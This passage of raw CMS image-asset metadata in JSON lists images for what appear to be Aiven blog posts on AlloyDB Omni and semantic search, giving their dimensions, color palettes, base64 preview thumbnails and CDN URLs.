x3gBf1Tvz+UnQPt80XDAn6ihCiR5kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#75234f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#972d66","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c94e7a","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccaab5","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc70bc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#546e94","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c94e7a","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Metrics-connect.png","path":"images/sczeoy4w/production/69ee509178dfa0a50a96d2c0d19ccbb14027eb09-1113x720.png","sha1hash":"69ee509178dfa0a50a96d2c0d19ccbb14027eb09","size":187194,"title":null,"uploadId":"6dDw3LOO8X6zTJLjOTYsK4cKQXKHOHTr","url":"https://cdn.sanity.io/images/sczeoy4w/production/69ee509178dfa0a50a96d2c0d19ccbb14027eb09-1113x720.png"} {"_createdAt":"2024-10-01T11:03:14Z","_id":"image-975ad0c63bafd8641d07f662be2e42eade502064-1200x630-jpg","_rev":"1U5rBVnZYn4alWirhZxxqT","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T11:03:14Z","assetId":"975ad0c63bafd8641d07f662be2e42eade502064","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M771y|?PI9MxoL?dx[M_NGkDDiM{xat8jq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMCBAUH/8QAIRAAAQMDBAMAAAAAAAAAAAAAAQACAwURIQQSEzIUM5H/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAgb/xAAaEQEAAQUAAAAAAAAAAAAAAAAAAQIDEkFR/9oADAMBAAIRAxEAPwDkdNdSfEhE3DyWG64zdRq7tKWA6QwBoOAwEOKwh6Y8D4mR91qbMbEqWQ1jsm4KEl/YoSso4h//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252751","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142470","foreground":"#fff","population":12.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6dae9","foreground":"#000","population":6,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c80c3","foreground":"#fff","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7198","foreground":"#fff","population":1.62,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.69,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Unleash AlloyDB Omni Across Clouds with Aiven blog.jpg","path":"images/sczeoy4w/production/975ad0c63bafd8641d07f662be2e42eade502064-1200x630.jpg","sha1hash":"975ad0c63bafd8641d07f662be2e42eade502064","size":55327,"uploadId":"pAepCxvEx2nf8XYsJ2RNldVdcEobxSGP","url":"https://cdn.sanity.io/images/sczeoy4w/production/975ad0c63bafd8641d07f662be2e42eade502064-1200x630.jpg"} {"_createdAt":"2024-10-01T11:08:48Z","_id":"image-a36ae0ccaec5f2ec6543f9f659dd7e9fc5df62ca-800x800-jpg","_rev":"aUZ7RLz26hS2cUekFlwrYl","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T11:08:48Z","assetId":"a36ae0ccaec5f2ec6543f9f659dd7e9fc5df62ca","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGHnT*JQ0K=x,C00M|eVXS%MpyNK=|IqNG9Gt7t6M{RPInxCxGozX9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAYHAwQI/8QAJhAAAQMDAgUFAAAAAAAAAAAAAQIDBAAFEQYhEhMiMUEUMlFhof/EABgBAAIDAAAAAAAAAAAAAAAAAAEFAwQG/8QAHhEBAAIBBAMAAAAAAAAAAAAAAQACEQMEEjEhQVH/2gAMAwEAAhEDEQA/AKgt1tWYwejuEuAjhwO+9WFqHR7MXTAurE592elIU60tOyvmtjTWnJ1xLLjEQQY4AVgjufrNS+8JnSLZJgx2h6x1BQOZ7aXFNRDkRnplLZT1KqjKtbjCFvoRzFAE8O1Kj17sNztNwcizY5bdHVgK2wfIpVZ2BnzZhN0/CdRsKJ6duFJwMeKyiO2ZzeU5PfelK0BFdLIuGQ/X8Nh6+pU4gFXJSP00pSoLdwnU/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#524433","foreground":"#fff","population":1.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#774a08","foreground":"#fff","population":1.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#efaeaa","foreground":"#000","population":6.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7aba7","foreground":"#000","population":1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efaeaa","foreground":"#000","population":6.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae8263","foreground":"#fff","population":5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce971a","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"gg-goindi.jpeg","path":"images/sczeoy4w/production/a36ae0ccaec5f2ec6543f9f659dd7e9fc5df62ca-800x800.jpg","sha1hash":"a36ae0ccaec5f2ec6543f9f659dd7e9fc5df62ca","size":138670,"uploadId":"MzpispiwoRiv7kfuKTkz4hSDKYwj9Kke","url":"https://cdn.sanity.io/images/sczeoy4w/production/a36ae0ccaec5f2ec6543f9f659dd7e9fc5df62ca-800x800.jpg"} {"_createdAt":"2024-10-08T10:17:35Z","_id":"image-c11d4cfcc9658f88a9949c9371920481a0a8fcb1-1464x824-png","_rev":"Tpe1Rj6o9fDmGqbWvkgSA2","_type":"sanity.imageAsset","_updatedAt":"2024-10-08T10:18:41Z","altText":null,"assetId":"c11d4cfcc9658f88a9949c9371920481a0a8fcb1","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MASY~#%MD*RR-:~pE2t6oLRlD,xsWCoft6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7766990291262137,"height":824,"width":1464},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABb0lEQVQokW2Sy44UMQxF+/9/CRaw4anRSLBBYk0PM12Pjh3H7zRKqkECYZ1NJbm59k2dEJmotdaYWVXdvfd++7t672aGWAFQRDKz956Zp22DZd2XZV+2su1QK6uFeZqnR4+8DaKLGCLVSmbj9rt43fiy4LLidqW9NECupNSU2ETT/GaaxsakiI2Ij9b+OMe2NYDWWFnsQMRUPaJn9lQPakJcayNqqhoRmRmRJ0BDZGYJ94ixNLbGbt4nzuzuylIrDYeZy3HsdC1YyvD13zXz+DcwEQWoiMQsZkM8217XfVupko5iVY6I/4mlFLhOG5sGQ4wACIUbm7m7mdu8dU47ObIRllIKAI6Zh3AGVmurdTSjamo+CdUYnxObi4Dt/LT+OG+Xpa27AppanAAbIBFxYz1gcRaXmfnEme35Qo9fXt59ev7wsHx8WL99B0A7YWUcbzB+sANRNw+P7n5HJM4/6f3nl1dvnl6/HTx+Xa9FfgGoCnxp7y9AYAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505053","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#363c87","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3944bb","foreground":"#fff","population":0.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aaadc9","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f84f8","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c50ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3944bb","foreground":"#fff","population":0.83,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"semantic-search-alloydb_omni-create_service.png","path":"images/sczeoy4w/production/c11d4cfcc9658f88a9949c9371920481a0a8fcb1-1464x824.png","sha1hash":"c11d4cfcc9658f88a9949c9371920481a0a8fcb1","size":49451,"title":null,"uploadId":"gXM8Tkj8LKd90QySR2SEdEEBNNYYSF44","url":"https://cdn.sanity.io/images/sczeoy4w/production/c11d4cfcc9658f88a9949c9371920481a0a8fcb1-1464x824.png"} {"_createdAt":"2024-10-08T10:17:35Z","_id":"image-80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea-1476x660-png","_rev":"Tpe1Rj6o9fDmGqbWvkgS80","_type":"sanity.imageAsset","_updatedAt":"2024-10-08T10:18:34Z","altText":null,"assetId":"80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6SijZ4;E2x^M|~qM|bIt7NGxZRjWCofRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2363636363636363,"height":660,"width":1476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyUlEQVQokYWR7W7DIAxFef833dqAgeBvs4m00loty67uP3R0sJ0y7KWOUgd0JBI10/e4+5zz6yVzzogws/Rxr59bu209wz4Gj4EAkHMBqLW22hoiuvsrGr4SEemW2730rSz/wAWXAqVArX3fxxgoIhHxw0aYipnOOdP6cENoWDsRqYgiERGvAczNluPQPOPu6+GYJT3IJ8yqaszKYqJXNY8TWMSQhA7+omq/zLhgReR/YdGlPjUzs4r6RfV05mNhLKKPPf3ViHX5b/5QDB7dc32dAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c444c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652d1e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8b1b1","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b1b1","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbeac","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce745c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"semantic-search-alloydb_omni-add_item.png","path":"images/sczeoy4w/production/80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea-1476x660.png","sha1hash":"80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea","size":14759,"title":null,"uploadId":"riSaeap5EDadDzBebYrIArUqWoYB7YSL","url":"https://cdn.sanity.io/images/sczeoy4w/production/80c8a91cfe5323f3c92bb8f185a96f6e2aa692ea-1476x660.png"} {"_createdAt":"2024-10-08T10:17:35Z","_id":"image-a5123abc7d18922d14a51c047f9cc95aaeff7ea9-1467x669-png","_rev":"exgZYl4YMpSEzTrzwg5uDA","_type":"sanity.imageAsset","_updatedAt":"2024-10-08T10:18:28Z","altText":null,"assetId":"a5123abc7d18922d14a51c047f9cc95aaeff7ea9","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBSPb4NLR.tSM|~qIURjofayWAWVa#ofV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.192825112107623,"height":669,"width":1467},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCklEQVQokW2QSW7DMBAE/f+XRpJJDpfZh0pAyTnEcaNODVRjyMfXAVtqR+4ZBrKauYjKK+ru53l+/8t55bEdsKf2LL1URNIxMOXyfOacS7mqiHjzZsSMWHKuWBZUO7MoEUNttbbexxpTi5hznovzIsJF3GzJtVNti9ZZxFSUkJjFzM3CPNznL+Eeq1S7n/OARje37KqCxMSidqPq95Car0ZMl3yd/UdWd3NCbCuj9dF6b9f9zELEvY/aVsMsc853OSKICKCWUgFqLpAzQG1jICLW2koBgNdHfpCZCQByLhcA0PoYRIy4RldZoA/8IHsEIqWUtu3Ytj3ngkgiqmqImFLe92M/nlCbu/8AHB4HH2mmp+wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5b5c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#672b1d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c5b5c","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfa9ab","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bcaa","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#98706d","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47c68","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"semantic-search-alloydb_omni-knobs_round.png","path":"images/sczeoy4w/production/a5123abc7d18922d14a51c047f9cc95aaeff7ea9-1467x669.png","sha1hash":"a5123abc7d18922d14a51c047f9cc95aaeff7ea9","size":42115,"title":null,"uploadId":"9OVFP4ntHcfOHLZMZdFUrydZvdJ4iEIO","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5123abc7d18922d14a51c047f9cc95aaeff7ea9-1467x669.png"} {"_createdAt":"2024-10-08T15:12:26Z","_id":"image-34e102803941f9d2e40e5462ad34d64e95d7f228-1200x628-png","_rev":"exgZYl4YMpSEzTrzwhF17Q","_type":"sanity.imageAsset","_updatedAt":"2024-10-08T15:12:51Z","altText":null,"assetId":"34e102803941f9d2e40e5462ad34d64e95d7f228","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M97UW1-yISRiV[?wxuInWWa~ITRPoet8ob","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACXElEQVQokV2SWVMTURCF5xdYFElmmGQm25BMEgQhCCgBpFgDCZAMIItoSQEqCkQCsgXCGmKBLOqDRfFjP2tuwAcfuu7th/7qnNMtufQpoo0faG5fo6Ujz4tX2yR6CrT3FGnpPKC165j2nnO6Bi/pHroh0XdDfVsZzdxDCX5Drd3FHSqg1u5QE9xEUrzTPE+s0Z8ukBw9JGWdkR4vk8yUGcpckJ64IT3xk+zMH8bn7klP3pHou8ZsOsIb2cNjFvGYR3jCRdyhfSTZO01LYo3hzCFp64RU9pTk2BnJsTLWzC3ZmV8MW7dkbOCbe0Ym7xgY+01n/wVPW0/xxU7RIiX0aAlv7DuSrE/R2pkjbR0J4HDmlKFMiaFMmdHJK6FwYPSa3tQ1Hf1XtHVf0tJVIp44wmw8QI9UFApg3SWSnWHzyxX6UwUGR4r/gL2pM3pTZQZGL+lN/SCeKBGsL6JHCnhCG6hGDtXIoxpbIkdP+BA9eo5UVTOBx5jDiC0QbvhELL5KtClHuGGd8LNNovFdIvEC/tjOQ/BbuPw5XL4VlEBewB4Xo5knSE9kiyrFolp9jcMzi0N7h0Obx6kv4fItI/tXkP2ropRgXmxS9ueQ/WvUGFtCmb0QtXYPd2gPqVrJorstAsFZvOF5FP88Du09Dm0Rp3cZl++LeJ36R/F/hCmBdaFMM48rQGO7cjZOJYOhW0TNt4TqlvAYC0KhQ1/E5a0odPk+C6ANtmFyICeG3eF9AbTt2n1NMI9k23WqFrI2heydw6n/b3kVJbAqoHYpga9iUK3dEjeomYcP2W6I+gtClGbBsQS+YwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36386a","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbea","foreground":"#000","population":6.83,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b81c4","foreground":"#fff","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7197","foreground":"#fff","population":1.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.54,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Semantic product search with Aiven for AlloyDB Omni.png","path":"images/sczeoy4w/production/34e102803941f9d2e40e5462ad34d64e95d7f228-1200x628.png","sha1hash":"34e102803941f9d2e40e5462ad34d64e95d7f228","size":185993,"title":null,"uploadId":"j4kbXdj3MHTaOv5CT7KSW0JOlo2I8pFN","url":"https://cdn.sanity.io/images/sczeoy4w/production/34e102803941f9d2e40e5462ad34d64e95d7f228-1200x628.png"} {"_createdAt":"2024-10-25T13:22:48Z","_id":"image-39cbbc8b25d2cd12f15d527068e76d6e45271c3f-800x200-png","_rev":"bH41C32nCYYyBv2hLEx9nK","_type":"sanity.imageAsset","_updatedAt":"2024-10-25T13:23:06Z","altText":null,"assetId":"39cbbc8b25d2cd12f15d527068e76d6e45271c3f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8F=d:0v000K0g?akrQk1,{@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":200,"width":800},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABgklEQVR4nB3MW0taAQDA8fMF2qDmJJCgIqfFTlrQhYjKkdaqh/TUQxdrEpqLOg/lcSuO2o1mlx3MweqUCzeILg+RZKxgaLD2YG8x+jr/qIff608oMnh48tI4gME0hFj/EYfrM02tYeyNCo6uJdo6V7A3x2h1btDxPoG9ZYv2nhTyQp7NlSw7w1NkXXX87zEhPIevJYoMEqYKLz7fGumDczTthFDoO7p+hq5fMKukWf96jv4jR0A+xj2U5pN6xVLsgrAUJe6Q2HvnRHhh8FBslCgpHaTS4kOWE9zkC1z9/kcyccxl9oZ8rsD2twy/DnP8yd+zpWUJBzX21TibSpIPAzuM9SYYdcURio1uyk0ezFUjWMUA3X0qavSA2OJPxn0ac0qK5dUjJiZ38U+niaxmCM+m0IIyt5FBLiMzzMunjPn/4h6+Rnhl7Mdc5uZttReLGKCiOoBVnKLGJlNplbHUhqhtWOCNbR6zLYrYtIbTEWXdO0FB7ePui5/kYoYZ5QFv8I5H4rPgnbNwnzYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434475","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#162070","foreground":"#fff","population":10.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#162070","foreground":"#fff","population":10.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0d4","foreground":"#000","population":2.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8deb9","foreground":"#000","population":0.67,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5c9d","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf472a","foreground":"#fff","population":4.27,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Untitled design (1).png","path":"images/sczeoy4w/production/39cbbc8b25d2cd12f15d527068e76d6e45271c3f-800x200.png","sha1hash":"39cbbc8b25d2cd12f15d527068e76d6e45271c3f","size":78863,"title":"Aiven x AWS","uploadId":"yUr5WghLHqkvIZebzu32rZvumi8i8sin","url":"https://cdn.sanity.io/images/sczeoy4w/production/39cbbc8b25d2cd12f15d527068e76d6e45271c3f-800x200.png"} {"_createdAt":"2024-10-01T12:27:01Z","_id":"image-a2249025dff662d93be4da4af98a6b2e40005b76-2114x1462-png","_rev":"aUZ7RLz26hS2cUekFmHifm","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T12:27:01Z","assetId":"a2249025dff662d93be4da4af98a6b2e40005b76","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTQcr800WB%M%L4pD%jsxtxt?a%Ma#WBWB~p%Ma}RjRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4459644322845417,"height":1462,"width":2114},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAC1klEQVQ4jYWT32scVRTH83f0wadCbcQWE0FLhfalL0VQKlgEQR980LaGtKUpWiLVEFNKxR9vBcWqILWKFPXBP6C0ze5SjV03+3uy2fm92dmZnZ2dnzufcieb1IYWLxwOc+69n3u+c86Z8DyPtVaL4r8lSqVVyuUKlUqVWq1Ouy0j9tM05XFrZzhNUybW2wYr/9RYzhfJF1Yp3KtQuFfNbOW+hKx0GfohUZwQRXHm43hEkjy00SjdfnTim+/+ZOnKDT5Z+olPL99k8fLvXFz8g/PzN/nw4m/8cD1Hta6jGV1k1UTVu2xYLrYb4Lgh/UHIMIhJRmPguzNf8crrC7z82iKvHv+Mo8e+4KUjV3jm+QX2vXiJmblfuZ1rUJMUVqstqg2ZNblLSx0gKR6q6WH3hYLRJvCNt5Y4cPgs0wfP8cKheaYPfszeqY/YtXuOp56e551T17mTX0MxbNZVC1m3Wdf6lBouf5f71NcHmFZAGI2Bb769xPSBGfbsf5/JqXNMTn3A3ucusPvZC0xOL3DqzA3yBQnDtNE7LqY1RNsYZqBS3aXZ9h4Ffv7lz5ydu8p7M1c5MfstJ2avcfL095w8/SOz53/h62u3KK+20bUORsem1/ezf2c5ARu9gK4d4noRcTIGFot17i7f587dIsv5MrlChVyhSq5Q468ViaZkYJoWqmpgmF0Gnk8YxYSRqHqSVV1UWlQ5axtdN6jXG1nvNZsSsqygKCqqqmJZFsOhj+30UVQdTTOwbSeLBUFIGEYkSbINy4Cm2aEprVGtNWhKLRRFQ9MNzM4GrjsgiiJ8P8BxXBynn8UEMAzDrC+TncCe7aBpJrKiZbI03cQwOnS7PTxvSDyWFCfCj20kmvmhzPS/QPGiuGxZPWy7n2UhshkMvG1JcRxnGQm/cwzF5yNAIUfMa+D7JLGQsDVOmxkIvynbJwpD0idktg0UF7bsSYfErP7fmS3gA7SP6eIBbvzoAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3266","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#151f6c","foreground":"#fff","population":5.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#151f6c","foreground":"#fff","population":5.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babfd0","foreground":"#000","population":3.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eaebfc","foreground":"#000","population":1.78,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6474a9","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":1.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"demo-image.png","path":"images/sczeoy4w/production/a2249025dff662d93be4da4af98a6b2e40005b76-2114x1462.png","sha1hash":"a2249025dff662d93be4da4af98a6b2e40005b76","size":670327,"uploadId":"QLMVnDDSx46UzAjPJvFRSyKmql2zjVBK","url":"https://cdn.sanity.io/images/sczeoy4w/production/a2249025dff662d93be4da4af98a6b2e40005b76-2114x1462.png"} {"_createdAt":"2024-11-05T12:30:04Z","_id":"image-a154e75006164d876f80142341f536ec0e947ff3-1200x628-png","_rev":"4qiJ1B4HOcJb1a1kk2JMZo","_type":"sanity.imageAsset","_updatedAt":"2024-11-05T12:30:04Z","assetId":"a154e75006164d876f80142341f536ec0e947ff3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M78;f#8^-gxs02~pIW%LxsD+8_--ogj_t1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACn0lEQVR4nFXSW1MTBwCG4f0NajnksAlkd3PYbEKAHIANmxADRCi2CIrRDrUpDaVyhmRNlkOyAsHY4tiWtvQw48hFr5x26v97HakznV58t8/N9wodYhE1tkwyvUFc3yQ5WiGW3MGtfEOHZ4VO7zpdvVt0S7s45Bou/z5i0EaJHRMdOiactOkN7+OUa3T7TARX7wMyxmMWZisU50yK83UKkyZKeJVOzwpdPR9A3y4O6T24h5Y6YWHxR6wnF5jVC+Ye/oAaf4pDriN0uu7RH/ucceMrCmMrFHKPMdJraLENZG0bf7SKHHlCj1pDDFj4Ig0+fvA9Zy9f8/fvF/xz+YrzX/9i5v7PiKEGwg3nPYLRL0npq4wYG+iZbfSsSTq3x2jexpg4Rs+fkMqeoCWOiA63eLT+C+cXf/Dn+QveXP7G6zdv+WL9EqnvGcJH7vuEB79GH9vBGDfJTlrcnGowPn3E5O1TCp88Z+L2t4zPnDE09py+4RaTs01K5V0sc5/j0++o2OdMFX9Cip39C6r9ywxntjDyVbITdXKFA27esslPn5CffkZuqo0x0WZAbyH32SjRbQZSi3x6d43FcpPcjEUw0cSjniJcdy4gqSViqVXiI5sk9B0SaZOUYTGUOWQoa5MYtVEHD6/e9AQPkSINtHgdPVcne+sINbGPO7CHy99AuNY1j9hTxK+WULQyPnUZRVtFG9xBHaiiRKr0hk3cfvMqG0/oEC3VJpl5QTLTZjDdItDfRAzs4ZAthOuds8jiHcKhRfyRZdzKEl5/mb74JuHYFi55479s5Bpi8IDgQAst2SbQ/xQ5ckCPauHy13AoFsK1jlm8rjsoymf4Qks4fCVEqUQkWiakreD0rf0PfB+2N2TjVZs4lRrdUuVqXVLlCnwHkuN9F7xgRJIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444a7d","foreground":"#fff","population":2.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c6f","foreground":"#fff","population":0.09,"title":"#fff"},"dominant"